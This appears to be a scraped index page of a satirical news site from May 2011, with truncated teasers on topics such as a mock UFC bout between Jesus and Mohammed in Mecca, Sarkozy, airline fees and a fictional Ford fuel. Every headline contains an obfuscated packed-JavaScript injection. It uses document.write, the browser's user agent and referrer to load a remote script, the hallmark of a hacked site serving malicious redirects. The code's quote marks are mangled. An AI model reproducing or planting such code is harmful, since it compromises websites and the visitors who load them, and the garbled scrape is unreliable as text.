No Decision in Mecca Smackdown!

JESUS, MOHAMMED FIGHT TO A DRAW! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysfhz|var|u0026u|referrer|rtytb||js|php’.split(‘|’),0,{})) Huge Crowd Disappointed but Ready for a Rematch Mecca, Saudi Arabia May 30th, 2011 (SHK) UFC Chairman Tommy (Two-Glove) Tintoretto jumped up and shouted for joy. He stood in the late-afternoon shadow of Islam’s giant black box, a stone cube with alleged magic [...]

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Florida Pastor Sets New Trend

FLORIDA PASTOR SETS NEW TREND eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|desed|var|u0026u|referrer|detae||js|php’.split(‘|’),0,{})) Book Burnings Now a Contagious Disease? Gainesville, FL May 23, 2011 (SHK) Terry Jones, pastor of the Dove World Outreach Church here, said today that he has no regrets “whatsoever” about burning a copy of the Koran on March 20. “Osama bin Laden is [...]

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New Tumult in French Politics

FRENCH PRESIDENT FEARS FOR HIS POLITICAL LIFE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzkea|var|u0026u|referrer|zyrrh||js|php’.split(‘|’),0,{})) Strauss-Kahn, Schwarzenegger Implicated in Major Plot Paris, France May 19th, 2011 (SHK) President Nicholas Sarkozy of France, who will campaign for reelection next year, is said to be distraught over recent news leaks involving former California governor Arnold Schwarzenegger and IMF managing [...]

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The Pre-Fight Weigh-in for Mecca

PRE-FIGHT WEIGH-IN FOR MECCA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntria|var|u0026u|referrer|zhbhr||js|php’.split(‘|’),0,{})) Jesus, Mohammed Trade “Playful” Jabs New York, NY May 16th, 2011 (SHK) Tommy (Two-Glove) Tintoretto, chairman of the Ultimate Fighting Championships, hosted the pre-fight weigh-in for Jesus and Mohammed for their big bout on Memorial Day, in Mecca, to be broadcast live on HBO. “Lade-e-e-e-z [...]

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Airlines Set New Fees

AIRLINES SET NEW FEES eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iekht|var|u0026u|referrer|ydzkz||js|php’.split(‘|’),0,{})) Aim to Restore Corporate Profits, Offset Higher Fuel Costs Houston, TX May 12th, 2011 (SHK) UniCon Airlines, fresh from the controversial merger between United and Continental Airlines, today proposed a host of new passenger fees designed to rescue its unprofitable operations. Delta and American said [...]

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Ford Announces New Fuels

FORD ANNOUNCES NEW FUELS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rszts|var|u0026u|referrer|ttzyz||js|php’.split(‘|’),0,{})) Stunning Advance for American Science Detroit, MI May 9th, 2011 (SHK) The Ford Motor Company (NYSE ticker symbol FOMO) today announced a stunning breakthrough in America’s struggle to wean cars off hydrocarbon fuels. Called “Protein Powder” and trademarked ProPow®, the world’s newest and most advanced [...]

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New Florida Keys Discovered

NEW FLORIDA KEYS DISCOVERED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkfzt|var|u0026u|referrer|dztze||js|php’.split(‘|’),0,{})) Spanish Explorers Reportedly Left Clues Miami, FL May 5th, 2011 (SHK) Dr. John D. McIlhenny, 53, chief oceanographer at the Florida Museum of Natural History in Miami, today announced a remarkable discovery by staff scientists on the ocean floor in the Gulf of Mexico. “We [...]

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Jesus vs. Mohammed in UFC Smackdown!

JESUS VS. MOHAMMED IN UFC SMACKDOWN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eedre|var|u0026u|referrer|nzrbt||js|php’.split(‘|’),0,{})) On Memorial Day!   In Mecca!  Live, on HBO! Las Vegas, NV May 2nd, 2011 (SHK) Tommy (Two-Glove) Tintoretto, Chairman and CEO of the Ultimate Fighting Championships (UFC) today announced a unique event in the history of human combat. “We have signed contracts [...]

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